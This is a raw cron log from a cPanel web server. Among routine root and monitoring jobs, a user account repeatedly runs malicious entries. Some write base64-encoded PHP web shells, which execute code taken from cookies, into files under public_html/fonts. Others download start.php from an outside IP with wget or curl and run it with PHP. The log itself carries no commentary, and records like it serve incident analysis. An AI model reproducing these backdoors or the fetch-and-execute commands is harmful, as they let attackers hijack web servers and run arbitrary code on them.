Sep  3 16:38:01 ip-184-168-122-23 CROND[1897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:38:01 ip-184-168-122-23 CROND[1898]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 16:38:01 ip-184-168-122-23 CROND[1900]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:38:01 ip-184-168-122-23 CROND[1901]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:38:01 ip-184-168-122-23 CROND[1903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:39:01 ip-184-168-122-23 CROND[1983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:39:01 ip-184-168-122-23 CROND[1986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:39:01 ip-184-168-122-23 CROND[1985]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:39:01 ip-184-168-122-23 CROND[1984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:39:01 ip-184-168-122-23 CROND[1987]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 16:40:01 ip-184-168-122-23 CROND[2115]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 16:40:01 ip-184-168-122-23 CROND[2116]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 16:40:01 ip-184-168-122-23 CROND[2120]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:40:01 ip-184-168-122-23 CROND[2124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:40:01 ip-184-168-122-23 CROND[2122]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:40:01 ip-184-168-122-23 CROND[2126]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 16:40:01 ip-184-168-122-23 CROND[2123]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 16:40:01 ip-184-168-122-23 CROND[2127]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:41:01 ip-184-168-122-23 CROND[2220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:41:01 ip-184-168-122-23 CROND[2219]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:41:01 ip-184-168-122-23 CROND[2221]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:41:01 ip-184-168-122-23 CROND[2222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:42:01 ip-184-168-122-23 CROND[2317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:42:01 ip-184-168-122-23 CROND[2318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:42:01 ip-184-168-122-23 CROND[2319]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:42:01 ip-184-168-122-23 CROND[2320]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 16:42:01 ip-184-168-122-23 CROND[2322]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:43:01 ip-184-168-122-23 CROND[2422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:43:01 ip-184-168-122-23 CROND[2423]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:43:01 ip-184-168-122-23 CROND[2427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:43:01 ip-184-168-122-23 CROND[2428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:44:01 ip-184-168-122-23 CROND[2576]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 16:44:01 ip-184-168-122-23 CROND[2579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:44:01 ip-184-168-122-23 CROND[2577]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:44:01 ip-184-168-122-23 CROND[2580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:44:01 ip-184-168-122-23 CROND[2581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:45:01 ip-184-168-122-23 CROND[2701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:45:02 ip-184-168-122-23 CROND[2704]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  3 16:45:02 ip-184-168-122-23 CROND[2710]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:45:02 ip-184-168-122-23 CROND[2708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:45:02 ip-184-168-122-23 CROND[2707]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 16:45:02 ip-184-168-122-23 CROND[2709]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 16:45:02 ip-184-168-122-23 CROND[2705]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:46:01 ip-184-168-122-23 CROND[2816]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 16:46:01 ip-184-168-122-23 CROND[2818]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 16:46:01 ip-184-168-122-23 CROND[2820]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 16:46:01 ip-184-168-122-23 CROND[2819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:46:01 ip-184-168-122-23 CROND[2821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:46:01 ip-184-168-122-23 CROND[2823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:46:01 ip-184-168-122-23 CROND[2824]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:47:01 ip-184-168-122-23 CROND[2928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:47:01 ip-184-168-122-23 CROND[2929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:47:01 ip-184-168-122-23 CROND[2930]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:47:01 ip-184-168-122-23 CROND[2931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:48:01 ip-184-168-122-23 CROND[3021]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 16:48:01 ip-184-168-122-23 CROND[3022]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:48:01 ip-184-168-122-23 CROND[3024]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:48:01 ip-184-168-122-23 CROND[3026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:48:01 ip-184-168-122-23 CROND[3025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:49:01 ip-184-168-122-23 CROND[3126]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:49:01 ip-184-168-122-23 CROND[3130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:49:01 ip-184-168-122-23 CROND[3131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:49:01 ip-184-168-122-23 CROND[3133]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  3 16:49:01 ip-184-168-122-23 CROND[3134]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:50:01 ip-184-168-122-23 CROND[3231]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 16:50:01 ip-184-168-122-23 CROND[3233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:50:01 ip-184-168-122-23 CROND[3237]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
